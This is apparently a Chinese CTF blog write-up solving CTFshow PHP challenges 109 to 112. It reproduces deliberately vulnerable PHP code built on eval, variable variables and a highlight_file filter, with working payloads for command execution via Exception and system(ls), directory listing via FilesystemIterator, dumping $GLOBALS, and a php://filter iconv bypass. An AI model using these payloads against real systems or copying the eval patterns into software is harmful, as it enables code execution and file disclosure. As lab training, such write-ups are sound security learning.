CTFshow web(php特性109-112)

                                                                        web109


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1 和 $v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路

知识点:异常处理逻辑

当在PHP代码中出现错误时,可以使用异常处理机制来处理错误。异常(Exception)是一种特殊的对象,用于表示在代码执行过程中发生的错误情况。

下面是一个简单的异常处理逻辑的示例:

try {
    // 可能引发异常的代码
    throw new Exception("这是一个异常示例");
} catch (Exception $e) {
    // 异常处理逻辑
    echo "捕获到异常:" . $e->getMessage();
}

在这个例子中,异常处理逻辑如下:

  • try 块中的代码可能会引发一个 Exception 类型的异常。
  • 当异常发生时,程序会跳转到与 Exception 类型匹配的 catch 块中。
  • 在 catch 块中可以使用 $e 变量来引用捕获到的异常对象,然后根据具体情况处理异常,例如输出异常信息。

异常处理逻辑可以帮助我们更好地处理程序中可能发生的错误情况,提高代码的可读性、可维护性和容错性。

回到本题:

eval("echo new $v1($v2());");在这串代码中既然v2=system(ls),那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2system(ls)eval()函数最终执行的代码相当于:

echo new x(system(ls));

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

不可以,如果x=xeception,那么就会触发Exception 类型的异常,变成执行命令

echo new exception(system(ls));

payload:v1=exception&v2=system(ls)

CTFshow web(php特性109-112)_第1张图片

再访问fl36dg.txt页面就好

CTFshow web(php特性109-112)_第2张图片

                                                                web110


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

思路:

这里和上一题原理不同,有没有发现('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]这里过滤的那么凶残,基本符号都给你禁完了,怎么办?

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1 和 $v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路,确实是这样没错,但是这里把括号给你搞没了,太狠了!!!

这个语句是查找当前目录的语句,到底有什么也有相似的功能呢?

百度一下,到底有什么能够返回当前的目录呢?于是发现了希望!

getcwd() 是 PHP 内置的一个函数,它返回当前的工作目录的路径字符串。例如,如果当前工作目录是 "/var/www/html",那么 getcwd() 将返回 "/var/www/html"

好!v2搞定了,那就开始v1

回到本题:

eval("echo new $v1($v2());");在这串代码中既然v2=getcwd,那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2getcwdeval()函数最终执行的代码相当于:

echo new x(getcwd);

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

 echo new $v1($v2())

那我肯定得找一个有效的类名啊,不然肯定得报错,那该用什么类呢?问GPT

CTFshow web(php特性109-112)_第3张图片哈哈哈,找到了!FilesystemIterator 是 PHP 提供的一个类,用于遍历文件系统中的文件和目录。它的构造函数可以接受一个路径作为参数,用于指定要遍历的目录。

payload:v1=FilesystemIterator&v2=getcwd

CTFshow web(php特性109-112)_第4张图片

接下来访问页面就好!

CTFshow web(php特性109-112)_第5张图片

                          web111


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }



}

?>

这道题多好啊!v1直接给你了ctfshow,接下来调用getFlag函数,

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

这里就是一个最经典的变量覆盖,include("flag.php");flag藏在这里面,那我就使用全局变量覆盖。

直接v2=GLOBALS

解析:

这行代码将 GLOBALS 赋值给了一个名为 ctfshow 的局部变量,并且使用了引用符号 &。这意味着 $ctfshow 和 $GLOBALS 引用同一个变量内存空间。

由于在代码中引入了 flag.php 文件,因此 $GLOBALS 数组中会包含引入的 flag.php 文件中定义的 $flag 变量。

所以,当我们调用 var_dump($$v1) 时,实际上是打印出了 $ctfshow 引用的变量,即 $GLOBALS 数组,其中包含了 $flag 变量的值。

  payload:v1=ctfshow&v2=GLOBALS

CTFshow web(php特性109-112)_第6张图片

                                                                web112


/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这道题目是一道经典的文件包含题目,    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

这里才过滤了冰山一角,

CTFshow web(php特性109-112)_第7张图片

我之前的文章可是把所有过滤器都列举了,这点过滤很简单。

如果不懂,直接看我的文章,使用爆破法解决,万能的,破除一切大范围过滤,希望大家可以看看我的这篇关于文件包含的文章,该介绍的都介绍了。

文件包含提升-CSDN博客

CTFshow web(php特性109-112)_第8张图片

直接把我当时爆破出来的万能payload丢上去就好了,这个万能payload之所以万能是因为我做了那么多题,还没见过把这个过滤的题目,哈哈哈!

payload:

?file=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php

CTFshow web(php特性109-112)_第9张图片

真诚地希望我的文章能够得到大家的喜欢,最重要的是能够对大家有所帮助,谢谢!

你可能感兴趣的:(PHP特性,CTF赛事与题目,php,开发语言,ctfshow,web安全)